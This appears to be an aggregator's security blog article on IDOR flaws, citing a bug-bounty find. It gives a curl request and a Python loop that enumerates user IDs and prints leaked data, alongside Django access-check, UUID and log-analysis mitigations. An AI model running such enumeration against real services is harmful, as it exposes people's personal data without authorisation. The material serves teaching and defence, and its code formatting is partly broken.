How to Exploit IDOR Vulnerabilities and Prevent PII Exposure

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Insecure Direct Object Reference (IDOR) vulnerabilities remain a critical threat in web security, often leading to unauthorized access to sensitive Personally Identifiable Information (PII). Security researcher Yusuf Nas recently uncovered an IDOR flaw that exposed PII, earning a $600 bounty. This article dives deep into IDOR exploitation, detection, and mitigation, with practical commands and code examples.

You Should Know: Exploiting IDOR Vulnerabilities

1. Understanding IDOR

IDOR occurs when an application exposes internal object references (e.g., database keys, filenames) without proper authorization checks. Attackers manipulate these references to access unauthorized data.

2. Manual Exploitation Steps

  • Step 1: Identify object references (e.g., /user/profile?id=123).
  • Step 2: Modify the parameter (e.g., id=124) to test access control.
  • Step 3: Use Burp Suite or browser dev tools to automate testing:
    Use curl to test IDOR 
curl -X GET "https://example.com/api/user?id=124" -H "Authorization: Bearer <token>"

3. Automated Testing with Python

import requests

for user_id in range(100, 110): 
url = f"https://example.com/api/user?id={user_id}" 
response = requests.get(url, headers={"Authorization": "Bearer <token>"}) 
if response.status_code == 200: 
print(f"Data leaked for user ID: {user_id}") 
print(response.json())

4. Mitigation Techniques

  • Implement Access Control Checks:
    Django example 
from django.core.exceptions import PermissionDenied </li>
</ul>

def get_user_data(request, user_id): 
if request.user.id != user_id: 
raise PermissionDenied 
return User.objects.get(pk=user_id)

    – Use UUIDs Instead of Sequential IDs:

     Generate UUID in Linux 
uuidgen

    5. Linux Commands for Log Analysis

    Check for suspicious access patterns in logs:

    grep "GET /api/user?id=" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c

    What Undercode Say

    IDOR vulnerabilities are low-hanging fruit for attackers but highly damaging. Regular security audits, proper access controls, and secure coding practices are essential. Automated scanning tools like Burp Suite and OWASP ZAP can help detect IDOR early.

    Prediction

    As APIs become more prevalent, IDOR flaws will increasingly target mobile and single-page applications (SPAs). Developers must adopt strict authorization mechanisms like JWT claims and role-based access control (RBAC).

    Expected Output:

    • Exploited PII data (if vulnerable).
    • 403 Forbidden responses (if properly secured).
    • Log entries indicating unauthorized access attempts.

    Relevant URLs:

    End of

    IT/Security Reporter URL:

    Reported By: Yusufnass Bugbounter – Hackers Feeds
    Extra Hub: Undercode MoN
    Basic Verification: Pass ✅

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